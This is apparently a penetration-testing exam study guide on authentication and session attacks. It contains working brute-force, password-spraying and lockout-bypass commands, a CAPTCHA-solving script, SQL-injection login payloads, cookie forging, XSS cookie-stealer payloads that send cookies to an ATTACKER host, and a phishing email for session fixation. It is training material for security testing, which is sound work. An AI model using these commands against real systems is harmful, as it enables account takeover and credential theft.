Each alert gives: risk level (Informational / Low / Medium / High, plus confidence), affected URL, the parameter, the attack string, evidence, a description, and a solution for developers. Example from the demo: SQL Injection on /sqli_1.php?title=John... (URL-encoded) with the note "SQL injection may be possible ... the page results were successfully manipulated using the boolean conditions". Cross-site scripting alerts on htmli_get.php correspond to the HTML-injection pages exercised during browsing.

Authenticated vs unauthenticated: an unauthenticated (black-box) scan sees only the pre-login surface. Supplying credentials via the context/user configuration lets the scanner reach and test the post-login application, and finds substantially more.

Exam tips — 1.13

• Scan narrowly. Right-click a specific URL (e.g. the one suspicious parameter) rather than the site root when you are time-boxed or worried about noise.
• Always spider as the authenticated user before active scanning, or you scan the login page 400 times and nothing else.
• Trap: scanner alerts are leads, not answers. Reproduce every High alert manually in the browser/Repeater before recording it.
• Use the Encoder/Decoder to URL-decode the alert's attack string — that decoded payload is usually the answer you need.
• Evidence to record: alert name, risk, URL, parameter, the decoded attack string, and your manual reproduction.

1.14 Session IDs, Cookies, Hijacking & Fixation

Session IDs

A session ID / session identifier is a unique token or string generated by the web application to identify and track a user session. It is what makes stateful communication possible over stateless HTTP: the server associates incoming requests with server-side session data (identity, permissions, preferences) by looking up the ID.

Flow: user logs in → server generates a session ID (e.g. SESSION12345) and associates it with the session → the ID is sent to the browser as a cookie → every subsequent request carries the cookie → the server identifies the user and applies their account's permissions.

Cookies

Cookies are small pieces of data — usually text, sometimes encoded, encrypted or hashed — that the server sends to the browser, which stores them locally and returns them on subsequent requests. Purposes: session management, user tracking, personalization. A session cookie carries the session ID.

Because the cookie lives client-side, it is fully attacker-controllable — which is why cookie tampering / cookie manipulation is the core technique for attacking session management.

# See the Set-Cookie headers an application issues (names, values and attributes)
curl -sI https://target.tld/login | grep -i "set-cookie"

Session hijacking (session theft)

An attacker takes over a user's active session by obtaining their session token and presenting it, impersonating the victim. Severe because it yields unauthorized access to accounts and data with no credentials needed.

Impersonation phase: with the token in hand the attacker presents it on each request. Absent a second factor or re-authorization, the application treats the attacker as the authenticated user.

Impacts: data theft (personal information, financial details); account takeover (change settings, password or email address, locking the victim out); malicious transactions and unauthorized purchases; data manipulation or deletion.

Session fixation

The attacker sets (fixes) the victim's session identifier to a value the attacker already knows, then gets the victim to authenticate using it.

1. Token acquisition — the attacker first obtains a valid session token issued by the target application, either by requesting one legitimately, by predicting/guessing a weakly random token, or by intercepting one over an insecure channel (no HTTPS).
2. Fixation — the attacker fixes the victim's token to that known value: sending the victim a link containing the fixed session token, getting them to click a specially crafted URL, or using social engineering to make them log in under specific circumstances.
3. Hijacking — the victim logs in with the fixed token. The application recognises the token as valid and now authenticated, so the attacker — already holding that same token — is recognised as the legitimate user.

Hijacking vs fixation, the distinction to state in an answer: in hijacking the attacker steals an existing session token after the victim authenticates; in fixation the attacker supplies the token in advance and waits for the victim to authenticate it. Fixation's root cause is the application failing to regenerate the session ID on authentication; that regeneration is the fix.

Exam tips — 1.14

• First thing to do with any session cookie: collect several by logging in repeatedly and compare them. Sequential, short, or decodable (Base64/hex) values mean session prediction — decode before you assume randomness.
• Check Set-Cookie for missing HttpOnly and Secure — a missing HttpOnly is the precondition that turns an XSS into a session hijack.
• Fixation test: note the session ID before login, authenticate, and check whether the ID changed. If it did not, the app is vulnerable to session fixation.
• Relevant WSTG IDs: WSTG-SESS-01 schema, WSTG-SESS-02 cookie attributes, WSTG-SESS-03 fixation, WSTG-SESS-04 exposed session variables, WSTG-SESS-09 hijacking.
• Evidence to record: the raw Set-Cookie header, several sampled token values, the pre-login and post-login IDs, and the request proving impersonation.

2. Authentication & Session Management Attacks

Exam framing: almost every lab in this domain reduces to one of five questions — can I get in without credentials?, can I guess credentials?, can I forge the thing that proves who I am?, can I steal or fix someone else's session?, can I make the victim's browser act for me? Work the target in that order; it is fastest-first.

2.1 Authentication, Authorization & Session Management

Three distinct mechanisms that get conflated. Naming the right one is what lets you pick the right test — and on the exam, the right answer field.

Why sessions exist at all. HTTP is stateless — the server cannot remember you between requests. After authentication the server mints a session ID (or a self-contained token) and hands it to the browser; the browser replays it on every request. That identifier is your identity for the rest of the session. Every attack in this section is either (a) obtaining that identifier, (b) forging it, or (c) making the victim's browser use it on your behalf.

Trap: a session ID is not proof of authentication. Most modern apps issue a session cookie to anonymous visitors too (language, theme, cart, CSRF tokens). Confirm a cookie is an authenticated session before declaring a hijack — compare the cookie value before and after login.

Session lifecycle — four points where things break:

Exam tips

• First thing to try: log in, capture the full request/response pair, and diff the Set-Cookie headers before vs. after authentication. That single diff answers "fixation?", "which cookie is the session?", and "which flags are missing?".
• Common trap: calling an admin-panel access failure an authentication bug. If you were already logged in, it is authorization.
• What proves the finding: a request carrying only the identifier (no credentials) returning authenticated content for another user.

2.2 Types of Authentication Mechanisms

Factor categories (for MFA questions): something you know (password, PIN), something you have (phone, hardware token, email inbox), something you are (biometric). Two passwords are not real 2FA — the factors must be independent.

Exam tips

• First thing to try: identify the scheme from one intercepted request. Authorization: Basic → decode it immediately (base64 -d). Three dot-separated base64 blobs → JWT. ?code=/state= in a redirect → OAuth.
• Common trap: assuming the web login form is the only door. Mobile/API endpoints (/api/v1/login, /auth/local) frequently skip the CAPTCHA, lockout and MFA the web form enforces — that is WSTG-ATHN-10.
• What proves the finding: the weaker channel accepting credentials or returning a session for an account the strong channel protected.

2.3 Authentication Testing Methodology (OWASP WSTG)

The WSTG gives you test IDs to cite and, more usefully on the clock, a checklist so you do not miss the easy win.

Opening 5-minute recon on any auth lab:

# Fingerprint the stack and version — version-specific auth bypasses are the fastest kill
curl -sI http://target/ | grep -iE 'server|x-powered-by|set-cookie'
curl -s http://target/changelog.txt http://target/CHANGELOG.md http://target/readme.html 2>/dev/null | head -20

# Known auth bypasses for the identified product/version (this is how the TikiWiki lab is solved)
searchsploit tikiwiki 21.1        # list public exploits for the exact version
searchsploit -m php/webapps/XXXXX.txt   # copy the PoC into the working directory

# Find hidden auth endpoints, admin panels and alternative channels
dirb http://target/ /usr/share/wordlists/dirb/common.txt -X .php,.txt,.bak
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -u http://target/FUZZ -mc 200,301,302,401,403

# Capture the authenticated baseline: login once with known-good creds, save both messages
# In Burp: Proxy > HTTP history > right-click the login POST > "Save item"
# Diff the anonymous vs authenticated Set-Cookie and note every cookie name.

Exam tips

• First thing to try: read the banner/version, then searchsploit. Several exam-style targets are unpatched real applications with a published one-line authentication bypass.
• Common trap: burning 40 minutes brute-forcing a login that has a public CVE, or that has a second, unauthenticated API endpoint next to it.
• What proves the finding: an authenticated page rendered for a request that carries no valid credentials.

2.4 Username Enumeration (WSTG-IDNT-04)

Why it works: the application responds differently depending on whether the account exists. That difference converts a two-unknown brute force (user + pass) into a one-unknown attack, and is itself a reportable information disclosure.

Where to test — in priority order: password-reset / "forgot password" form (highest hit rate in the real world), login form, registration form ("username already taken"), any profile/API lookup endpoint.

The five differentials to grep for:

Burp Intruder workflow (matches the WebGoat forgot-password lab):

1. Proxy > intercept the POST, right-click > "Send to Intruder"
2. Positions tab > "Clear §" > highlight ONLY the username value > "Add §"
3. Attack type: Sniper            <- one payload set, one insertion point
4. Payloads tab > Payload type: Simple list > Load...
     /usr/share/wordlists/metasploit/http_default_users.txt
     /usr/share/seclists/Usernames/top-usernames-shortlist.txt
5. Settings tab > Grep - Match > Clear > add the invalid-user string, e.g.
     not a valid username
   (adds a checkbox column: rows with 0 = the account EXISTS)
6. Start attack > sort by Length, then by the grep column

# Same attack, CLI, no Burp Community throttling
ffuf -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -u http://target/forgot-password -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=FUZZ&submit=Submit" \
  -fr "not a valid username"          # -fr filters OUT responses matching this regex

# wfuzz equivalent; --hs hides responses containing the invalid-user string
wfuzz -c -z file,/usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt \
  -d "username=FUZZ&submit=Submit" \
  --hs "not a valid username" http://target/forgot-password

# Length-based enumeration when the message text is identical but the body differs
ffuf -w users.txt -u http://target/login -X POST \
  -d "user=FUZZ&pass=Wrong123!" -fs 1524     # -fs filters by exact response size

# Timing-based enumeration: valid accounts hash the password, invalid ones bail early
for u in $(cat users.txt); do
  t=$(curl -s -o /dev/null -w '%{time_total}' -d "user=$u&pass=x" http://target/login)
  echo "$t $u"
done | sort -rn | head        # slowest responses first = likely valid accounts

Also enumerate via: account-registration collision messages, HTTP 429 applied only to real accounts, "security question" prompts returned only for valid users (WebGoat's forgot-password returns What is your favourite colour? only for admin), and rate-limit/lockout messages that fire only for existing accounts.

Exam tips

• First thing to try: the forgot-password form, with Intruder Sniper and a Grep-Match on the negative string. Sort by Length.
• Common trap: a well-built app returns "If the account exists we sent an email" for everything — that is not a finding; move on rather than grinding. Also beware WAF/CDN pages inflating length uniformly (use Burp's "Auto-calibrate"/ffuf -ac).
• What proves the finding: two screenshots/requests with identical structure, differing only in username, producing different status, length or text.

2.5 Testing for Weak Password Policy (WSTG-ATHN-07) & Credential Attacks

Dictionary attack vs. brute force — keep them distinct, the exam wording depends on it:

Learn the policy first — it shrinks the keyspace enormously. Registration forms, change-password forms and verbose login errors leak it. One lab's login form replies: "only accepts 5 character passwords from the character set [AXFM]" — 4 symbols to the power of 5 positions = 4⁵ = 1024 candidates, i.e. seconds of work.

# Generate the exact keyspace the policy allows: min=5 max=5, charset AXFM
crunch 5 5 AXFM -o passwords.txt
wc -l passwords.txt      # 1024 candidates — a complete brute force, not a guess

# Burp Intruder: Sniper on the password parameter only (username is known/enumerated)
# Payloads > Simple list > Load ~/Desktop/wordlists/100-common-passwords.txt
# Then sort results by Length; the outlier row is the successful login.

# hydra against a form-based login. Fields: path:postdata:F=failure-string
hydra -l admin@secbank.com -P /usr/share/wordlists/rockyou.txt \
  target.com http-post-form \
  "/api/login:email=^USER^&password=^PASS^:F=Invalid credentials" -t 16 -f -V
# -l single user  -L user list  -P pass list  -t threads  -f stop on first hit  -V show each try

# hydra with a SUCCESS condition instead (S=) when the failure page varies
hydra -L users.txt -P passwords.txt target.com http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:S=Location\: /dashboard" -s 443 -S
# -s port  -S force SSL/TLS
# A literal ':' inside the option string must be escaped as '\:' or hydra parses it as a field separator

# hydra for HTTP Basic auth
hydra -L users.txt -P passwords.txt -f target.com http-get /admin/

# ffuf clusterbomb equivalent: every user x every password, filtering the failure size
ffuf -w users.txt:USER -w passwords.txt:PASS -mode clusterbomb \
  -u http://target/login -X POST \
  -H "Content-Type: application/json" \
  -d '{"identifier":"USER","password":"PASS"}' \
  -fr "Invalid credentials"

# JSON API login (very common in these labs — note Content-Type must be JSON)
ffuf -w passwords.txt -u http://target:8000/api/auth/login -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@secbank.com","password":"FUZZ"}' -fc 401

Policy checklist to report: minimum length, maximum length (a low cap is itself a finding), required character classes, username-as-password allowed, password-history/reuse, password shown in the response body, and whether the same weak policy applies to the change-password and reset flows (it often does not).

Exam tips

• First thing to try: enumerate the user first, then attack a single account with a 100–1000 entry common-password list. Sort Intruder by Length; the successful response is a length outlier, often with a token or "admin": true in the body.
• Common trap: Burp Community Edition throttles Intruder to roughly one request per second. For anything over a few hundred payloads, switch to OWASP ZAP's Fuzzer, ffuf or hydra.
• What proves the finding: a login response containing a session cookie/JWT for an account whose password came from a public wordlist — capture both the request and the authenticated response.

2.6 Weak Lockout Mechanisms & CAPTCHA Bypass (WSTG-ATHN-03)

Concept: lockout controls (attempt counters, rate limits, CAPTCHA) exist to make 2.5 impossible. Your job is to establish whether they exist, where they are enforced (client or server, per-account or per-IP), and whether they can be circumvented without being detected.

CAPTCHA strength ladder — weakest first:

Implementation flaws that matter more than the CAPTCHA type:

• CAPTCHA generated and validated client-side (answer in HTML, JS or a hidden field).
• CAPTCHA not rotated — the same challenge/answer is accepted repeatedly, so solve once and replay.
• CAPTCHA drawn from a small fixed array of challenges (old apps) — build a lookup table.
• CAPTCHA only enforced on the web form, not on the /api/login endpoint.
• CAPTCHA parameter simply omitted from the request → accepted.
• CAPTCHA validated but the login attempt still counted/processed before validation.

Triage matrix — run these three requests and record the result of each:

Scripted arithmetic-CAPTCHA brute force (the pattern the lab teaches: the challenge sits in the HTML inside an <h4> tag, and a fresh session ID + fresh challenge are issued on every GET, so each attempt must do GET → solve → POST inside one requests.Session()):

#!/usr/bin/env python3
# Solve-and-submit loop: one GET to harvest the CAPTCHA + session, one POST to try a password.
import re, requests

TARGET = "http://10.0.0.3"                      # change to your lab IP
session = requests.Session()                     # keeps the per-attempt session cookie
regex   = r'<h4[^>]*>([^<]+)</h4>'               # capture the arithmetic expression

with open("passwords.txt", "r") as f:            # crunch-generated policy-exact wordlist
    for password in f:
        password = password.rstrip()
        response = session.get(TARGET)                       # fresh challenge + session ID
        output   = re.search(regex, response.text)           # extract e.g. "8855 + 117 ="
        captcha  = eval(output.group(1).replace("=", ""))    # compute the answer
        print("Trying password: " + password)
        data = {"username": "admin", "password": password, "captcha": captcha}
        result = session.post(TARGET + "/login", data=data)  # session cookie sent automatically
        if "error" not in result.text:                       # invert the known failure marker
            print("Password found: " + password)
            break

# Sanity-check helper: confirm the challenge AND the session ID rotate per request.
import re, requests
s = requests.Session()
r = s.get("http://10.0.0.3")
print(s.cookies.get_dict())                                  # session ID changes each run
print(re.search(r'<h4[^>]*>([^<]+)</h4>', r.text).group(1))  # expression changes each run

Burp-only alternative when the CAPTCHA does not rotate: Intruder → Settings → Grep - Extract the token from each response, then Payloads → payload type Recursive grep for that position, so each request reuses the token harvested from the previous response. Reduce Resource pool → Maximum concurrent requests to 1 so the chain stays ordered.

Exam tips

• First thing to try: view-source: the login page. If the CAPTCHA value, expression or expected answer is in the HTML, it is client-side and you automate it in minutes.
• Common trap: running Intruder with concurrency > 1 against a one-shot rotating token — every request fails and you conclude, wrongly, that the CAPTCHA is strong. Also: a correct CAPTCHA with wrong credentials is required to even see the real error message, which is where the password policy leaks.
• What proves the finding: a successful authenticated response produced by an automated loop, plus the request count (e.g. the full 1024-candidate keyspace) showing no throttling.

2.7 Account Lockout Bypass

Concept: an account-lockout policy locks a user after N failed attempts (commonly 3, 5, 10 or 50) for a fixed window — or, in stricter apps, until an administrator unlocks it. Two things to test: whether the policy exists, and whether the locked state is itself exploitable. Some implementations are inverted: the lockout path takes a different, weaker code branch.

Measuring the policy:

Burp Intruder > Sniper on the password parameter > payload set = 60 junk values
Watch the Length column. The row where Length changes is the lockout threshold.
Example (TikiWiki 21.1): attempts 1-47 return "Invalid username or password" (length A);
from ~48-50 onward the body becomes "account requires administrator approval" (length B).

# Same measurement in one line: print the attempt number and response size
for i in $(seq 1 60); do
  s=$(curl -s -o /dev/null -w '%{size_download}' -d "user=admin&pass=junk$i" http://target/login)
  echo "$i $s"
done      # the attempt index where the size flips is the lockout threshold

The TikiWiki 21.1 lockout-to-bypass chain (classic exam-shaped finding): trigger >50 failed logins to lock admin, then resubmit the login request with an empty password value — the locked-account code path skips password verification entirely and authenticates you.

POST /tiki-login.php HTTP/1.1
Host: demo.ine.local
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<current>

user=admin&pass=&login=Login

# In Burp: intercept the login POST, delete the value after pass= , Forward.
# Forward the subsequent redirects. You land authenticated as admin.

Bypass techniques to run through when a lockout blocks you:

# Header-based IP rotation with ffuf: FUZZ2 varies the spoofed source IP per attempt
ffuf -w passwords.txt:PASS -w ips.txt:IP -mode pitchfork \
  -u http://target/login -X POST -d "user=admin&pass=PASS" \
  -H "X-Forwarded-For: IP" -fr "Invalid"

# Password spraying: one password across many accounts, slow, to stay under per-account limits
hydra -L users.txt -p 'Summer2025!' target.com http-post-form \
  "/login:user=^USER^&pass=^PASS^:F=Invalid" -t 4 -W 5
# -t 4 low parallelism, -W 5 wait 5s between connections

Exam tips

• First thing to try: determine the threshold before launching a full dictionary — burn 60 junk passwords and read where the response length flips. Then decide whether you may brute force at all.
• Common trap: locking the very account the lab needs you to use, with no unlock path. Test the threshold against a throwaway account when one exists; and note that once locked, the app may return a uniform message that masks any later success.
• What proves the finding: authenticated access obtained after the lockout triggered (the empty-password bypass), or a successful login sourced from a rotated header/endpoint that the counter never saw.

2.8 Bypassing Authentication Schema (WSTG-ATHN-04)

Concept: no credentials, no brute force — you step around the mechanism. The server is trusting something the client controls.

Vulnerability classes:

1. Unprotected endpoints / forced browsing — the admin page is not behind an auth check at all; only the link to it was hidden.
2. Default or hardcoded credentials — install-time accounts, secrets left in JS bundles, config files, .git history.
3. Missing/weak access control — authenticated-but-low-privilege user reaches admin functionality.
4. Parameter manipulation — a cookie, URL parameter, header or POST field controls the auth decision.
5. SQL injection in the login — the credential check is a concatenated query.
6. Session ID prediction/forgery — you mint a valid identifier yourself (see 2.11).

Forced browsing:

# Hunt for admin functionality that is simply unlinked
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -u http://target/FUZZ -mc 200,204,301,302,307,401,403 -ac

# Then request the discovered path with NO cookies at all — if it renders, auth is absent
curl -sik http://target/admin/dashboard.php            # no Cookie header sent
curl -sik http://target/admin/ -H "Cookie: "           # explicitly empty

Parameter / cookie manipulation — the archetype from the Airline Booking System lab: the admin panel trusts a client-set cookie named loggedin.

GET /admin/index.php HTTP/1.1
Host: target
Cookie: loggedin=yes

# One-liner reproduction of the same bypass
curl -si http://target/admin/index.php -H "Cookie: loggedin=yes"

# Persist it so every browser request carries it (the panel re-checks on each page):
# Firefox/Chrome > Cookie-Editor extension > + > Name: loggedin  Value: yes  Path: /
# Or Burp > Proxy > Options > Match and Replace > Request header >
#   Match: ^Cookie: (.*)$   Replace: Cookie: $1; loggedin=yes

Client-trusted parameter names worth flipping (in cookies, POST body, JSON, or query string): admin, is_admin, isAdmin, role, user_role, level, priv, group, uid, user_id, account, loggedin, logged_in, authenticated, auth, debug, test. Values to try: true/1/yes/admin/0 (some apps treat 0 as "superuser id").

IDOR on the authentication/identity boundary:

POST /account/change-password HTTP/1.1
Cookie: session=<your-session>
Content-Type: application/x-www-form-urlencoded

user_id=1&new_password=Pwned123!        # your id was 42; 1 is usually the first/admin account

# Same idea via a JSON API — swap the identity claim, keep your own session
curl -s -X POST http://target/api/user/update \
  -H "Cookie: session=<yours>" -H "Content-Type: application/json" \
  -d '{"id":1,"email":"attacker@evil.com"}'

SQL injection login bypass — place the payload in the username field, password anything:

-- Terminate the string and force the WHERE clause true; -- comments out the password check
admin' -- 
admin'#
admin'/*
' OR '1'='1
' OR 1=1 -- 
' OR 1=1 LIMIT 1 -- 
admin' OR '1'='1' -- 
") OR ("1"="1
' UNION SELECT 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99' -- 

# Automate the confirmation; --batch avoids prompts, -p targets the credential parameter
sqlmap -u "http://target/login" --data="username=admin&password=x" -p username --batch --level=3

Note the difference: admin'-- authenticates as admin specifically; ' OR '1'='1 authenticates as whichever row comes back first, which may not be admin.

Exam tips

• First thing to try: request the privileged URL with every cookie stripped. Half of "authentication bypass" labs are pure forced browsing.
• Common trap: setting the magic cookie once and concluding it failed — several apps validate it on each request, including the follow-up redirects and sub-resources. Use Match-and-Replace or a cookie editor rather than a single intercepted request.
• What proves the finding: admin-only content or an admin-only action (create user, add record) completed by a request containing no valid credentials and no legitimately issued session.

2.9 Session Management & Session ID Analysis (WSTG-SESS-01)

Where session IDs live, and what each implies:

Attack pattern for SESS-01 — collect, analyse, forge:

1. Collect a large sample of tokens, for the same user and for different users.
2. Reverse engineer the structure: encoding, delimiters, embedded fields, counters, timestamps.
3. Manipulate/forge a token and replay it.

# Collect 200 anonymous session IDs for randomness analysis
for i in $(seq 1 200); do
  curl -si http://target/ | grep -i '^set-cookie' | sed 's/.*SESSIONID=\([^;]*\).*/\1/'
done > tokens.txt
sort tokens.txt | uniq -d        # any duplicates = catastrophic PRNG failure

# Burp Sequencer (the purpose-built tool for this):
#   Proxy > find the response containing Set-Cookie > right-click > "Send to Sequencer"
#   Select the session token in "Token Location Within Response" > Start live capture
#   Collect >= 100 (ideally 20,000) tokens > Analyze now
#   Read the "Effective entropy" figure; anything low/poor = predictable session IDs.

Decode before you judge randomness — most "random-looking" tokens are just encoded:

# Base64 (trailing == is the giveaway); -d decodes
echo 'bG9nZ2VkaW49dHJ1ZTthZG1pbj1mYWxzZQ==' | base64 -d
# -> loggedin=true;admin=false

# Base64URL (JWT-style: '-' and '_' instead of '+' and '/', padding stripped)
echo 'eyJhbGciOiJIUzI1NiJ9' | tr '_-' '/+' | base64 -d 2>/dev/null

# Hex, URL-encoding, and hash identification
echo -n '61646d696e' | xxd -r -p                     # hex -> ascii
python3 -c "import urllib.parse,sys;print(urllib.parse.unquote(sys.argv[1]))" 'user%3Dadmin'
hashid '21232f297a57a5a743894a0e4a801fc3'            # identify the hash family (md5 of 'admin')

# In Burp: select the token > Inspector panel, or right-click > "Send to Decoder"
# Decoder > "Smart decode" chains base64/URL/hex automatically.

Structural red flags in a decoded token: username or email in cleartext; an incrementing integer (user id, counter); a Unix timestamp; role=, admin=, level=; an MD5 of the username; concatenation with a static separator.

Exam tips

• First thing to try: base64-decode every cookie value before anything else. A token that decodes to readable key/value pairs is a forging exercise, not a cryptography exercise.
• Common trap: treating length as entropy. A 64-char hex string that is md5(username) is fully predictable. Confirm by hashing a known username and comparing.
• What proves the finding: a token you constructed (not one the server issued to you) being accepted as an authenticated session — ideally for a different user.

2.10 Cookies & Cookie Attributes (WSTG-SESS-02)

A correctly hardened session cookie:

Set-Cookie: sessionID=a3f9...; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=1800

# Enumerate every Set-Cookie and its flags in one shot
curl -sik https://target/login -d 'user=x&pass=y' | grep -i '^set-cookie:'

# Flag the ones missing protections
curl -sik https://target/ | grep -i '^set-cookie:' | grep -viE 'httponly' # cookies readable by JS
curl -sik https://target/ | grep -i '^set-cookie:' | grep -viE 'secure'   # cookies sent over HTTP
curl -sik https://target/ | grep -i '^set-cookie:' | grep -viE 'samesite' # CSRF-exposed cookies

// Proof that HttpOnly is missing: run in the browser console on the target origin
document.cookie        // if the session ID appears here, JavaScript can exfiltrate it

# Burp: Target > Site map > select host > Issues, plus Proxy > HTTP history >
# right-click a response > "Show response in browser" is NOT needed —
# read Set-Cookie directly in the Response > Headers view.

Exam tips

• First thing to try: document.cookie in the console. If the session ID is returned, HttpOnly is missing and XSS-to-hijack is on the table.
• Common trap: reporting Secure as missing on a target that only serves HTTP — technically correct, but check whether the whole exam target is HTTP before building a report around it. Also: Path restrictions are not a security control, do not treat them as one.
• What proves the finding: the raw Set-Cookie line showing the absent attribute, paired with a working exploitation of it (JS read for HttpOnly, cross-site request for SameSite).

2.11 Cookie Tampering & Session Forging

Concept: if the server derives authorisation from data inside the cookie rather than from a server-side lookup keyed by an opaque ID, you rewrite the cookie and become whoever you like. Encoding is not protection — only a signature or server-side state is.

The SecureBank workflow, end to end:

# 1. Authenticate as a low-privilege user and capture the session cookie.
curl -si -X POST http://target:8000/api/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"james@secbank.com","password":"password1"}' | grep -i set-cookie
# -> Set-Cookie: sessionID=bG9nZ2VkaW49dHJ1ZTthZG1pbj1mYWxzZQ==; Path=/

# 2. Decode it — the trailing '==' marks base64.
echo 'bG9nZ2VkaW49dHJ1ZTthZG1pbj1mYWxzZQ==' | base64 -d
# -> loggedin=true;admin=false

# 3. Flip the privilege field and re-encode. -w0 prevents line wrapping.
echo -n 'loggedin=true;admin=true' | base64 -w0
# -> bG9nZ2VkaW49dHJ1ZTthZG1pbj10cnVl

# 4. Replay with the forged cookie.
curl -si http://target:8000/ -H 'Cookie: sessionID=bG9nZ2VkaW49dHJ1ZTthZG1pbj10cnVl'

# Burp equivalent: select the cookie value > right-click > Send to Decoder > Decode as Base64,
# edit the plaintext, Encode as Base64, copy back into the request (Repeater), Send.
# Respect the original Path attribute when re-setting the cookie in the browser.

Fields worth flipping once decoded: admin=false→true, role=user→admin, level=1→0, user_id=42→1, isAdmin, privilege, group=users→administrators, type=guest→member.

Signed-but-weak cookies (format data|signature or data.hmac):

# If the signature is an unsalted MD5/SHA1 of the data, it is forgeable
echo -n 'user=admin' | md5sum       # compare with the observed signature length/value

# Flask/Django-style signed session cookies: try to recover the secret
flask-unsign --decode --cookie '<session-cookie>'                     # read the payload
flask-unsign --unsign --cookie '<session-cookie>' --wordlist rockyou.txt   # crack the secret
flask-unsign --sign --cookie "{'admin':True}" --secret '<found-secret>'    # mint a new cookie

Cookie tampering checklist: decode → identify fields → flip one field at a time (so you know which one mattered) → replay → check for a server-side rejection vs. silent acceptance → escalate (user id, role, tenant id).

Exam tips

• First thing to try: base64-decode the session cookie. If you can read it, you can rewrite it.
• Common trap: forgetting -n with echo when re-encoding — the trailing newline corrupts the value. Also forgetting -w0, which wraps long base64 across lines. And: some apps only honour the cookie on paths matching the original Path attribute.
• What proves the finding: the same endpoint returning privileged content (or a flag) solely because one decoded field changed, with no re-authentication.

2.12 Session Hijacking (WSTG-SESS-09)

Concept: steal an already authenticated session identifier and replay it. Happens after the victim logs in. You never learn the password; the server cannot distinguish you from the victim because it authenticates the token, not the human.

Acquisition routes:

XSS cookie stealer (only when HttpOnly is absent):

<!-- Stored XSS payload: exfiltrates the victim's cookie to the attacker's listener -->
<script>new Image().src='http://ATTACKER:8000/?c='+encodeURIComponent(document.cookie);</script>

<!-- fetch() variant; works where Image() is blocked and avoids a visible broken image -->
<script>fetch('http://ATTACKER:8000/?c='+btoa(document.cookie),{mode:'no-cors'});</script>

# Attacker-side listener that records inbound hits (the cookie arrives in the request line)
python3 -m http.server 8000

Replay the stolen token:

# Straight replay with curl
curl -si http://target/account -H 'Cookie: PHPSESSID=<stolen-value>'

# Browser replay: DevTools > Application > Cookies > edit the value, or use Cookie-Editor.
# Burp replay: Repeater > paste the stolen Cookie header > Send, and confirm the
# response contains the victim's data (name, email, balance) not yours.

Binding checks (how the app should defend, and what to test): is the session bound to the source IP? to the User-Agent? Change each and see whether the session survives — if it does, hijacking is unconditional.

# Does the session survive a different User-Agent and source context?
curl -si http://target/account -H 'Cookie: session=<stolen>' -H 'User-Agent: curl/8.0'

Exam tips

• First thing to try: grab a token issued to another user (lab-provided, sniffed, or via XSS) and replay it in Repeater. If the response shows their identity, you are done.
• Common trap: hijacking an anonymous session and reporting it as account takeover. Verify the token was issued post-login.
• What proves the finding: a response rendering the victim's personal data (or performing an action as them) from a request whose only credential is the stolen identifier.

2.13 Session Fixation (WSTG-SESS-03)

Concept: the mirror image of hijacking. You supply a session ID to the victim before they log in; the application fails to regenerate the ID at authentication, so your known ID becomes an authenticated ID.

Root causes — all four must be checked:

1. Session ID not regenerated on login (the essential precondition).
2. Application accepts an attacker-supplied ID (URL parameter, cookie, hidden field).
3. Application accepts unknown/arbitrary session IDs rather than only ones it issued.
4. No expiry / no rebinding of the session to the user.

Detection — a single two-request test:

# 1. Get a pre-auth session ID
curl -sic /tmp/jar http://target/login | grep -i set-cookie
# 2. Log in reusing that jar; if the ID in the jar is UNCHANGED afterwards, it is fixable
curl -sib /tmp/jar -c /tmp/jar -X POST http://target/login \
  -d 'user=victim&pass=Password1' | grep -i set-cookie
cat /tmp/jar     # same session value before and after login == session fixation

# Test whether the app accepts an ID you invented (rather than one it issued)
curl -si http://target/login -H 'Cookie: JSESSIONID=ATTACKER1000'
curl -si 'http://target/login;jsessionid=ATTACKER1000'      # Java path-parameter form
curl -si 'http://target/login?sid=1000'                     # URL-parameter form

Exploitation (the WebGoat phishing-email pattern): craft a link to the legitimate login page with the session ID pinned, deliver it to the victim, wait for them to authenticate, then assume the ID.

http://target/attack?Screen=<n>&menu=<n>&SID=1000

<!-- Phishing body: the link points at the real site; only the SID parameter is attacker-chosen -->
<p>Dear Ms. Plane,</p>
<p>During the last week we have had a few problems with our database.
Please use the following link to verify your account:</p>
<a href="http://webgoatfinancial.com/attack?Screen=5&menu=200&SID=1000">Verify my account</a>

# After the victim logs in, adopt the fixed ID — no credentials required
curl -si 'http://target/account' -H 'Cookie: JSESSIONID=1000'

// Alternative delivery when the app reads the ID from a cookie and you have XSS or a
// controllable subdomain: plant the cookie in the victim's browser before they log in.
document.cookie = "JSESSIONID=1000; path=/; domain=.target.com";

Hijacking vs. fixation — the one-line distinction for the exam:

Exam tips

• First thing to try: capture the session cookie before login and after login and compare them. Identical value = fixation, full stop.
• Common trap: the app does issue a new ID on login but keeps the old one valid — still a finding (poor invalidation), but not classic fixation. Also, apps that only create a session after login cannot be fixed via a pre-auth cookie; look for URL-parameter acceptance instead.
• What proves the finding: the attacker-chosen ID returning the victim's authenticated content after the victim logged in, with the attacker never seeing credentials.

2.14 Cross-Site Request Forgery (WSTG-SESS-05)

Concept: the application trusts that a request carrying a valid session cookie was intended by the user. The browser attaches cookies automatically to any request to that origin, including ones initiated by attacker-controlled pages. So an attacker page can make the victim's authenticated browser perform state-changing actions.

Preconditions (all three required):

1. A state-changing action (change password/email, transfer funds, add admin).
2. Cookie-based session handling (or HTTP Basic) — anything auto-attached by the browser.
3. No unpredictable request parameter — no anti-CSRF token, or one that is not validated.

Detection:

1. Find every state-changing request in Burp > Proxy > HTTP history (POST/PUT/DELETE).
2. For each: does the body/header contain a random token (csrf_token, _token, authenticity_token,
   __RequestVerificationToken, XSRF-TOKEN)?
3. Burp > right-click the request > Engagement tools > "Generate CSRF PoC" > Test in browser.
4. Also check the Set-Cookie for SameSite: Strict/Lax substantially reduces or kills the attack.

# Quick server-side validation test: remove the token entirely and replay in Repeater
# If the action still succeeds, the token is decorative.
curl -si -X POST http://target/process_change_password.php \
  -H 'Cookie: PHPSESSID=<victim-session>' \
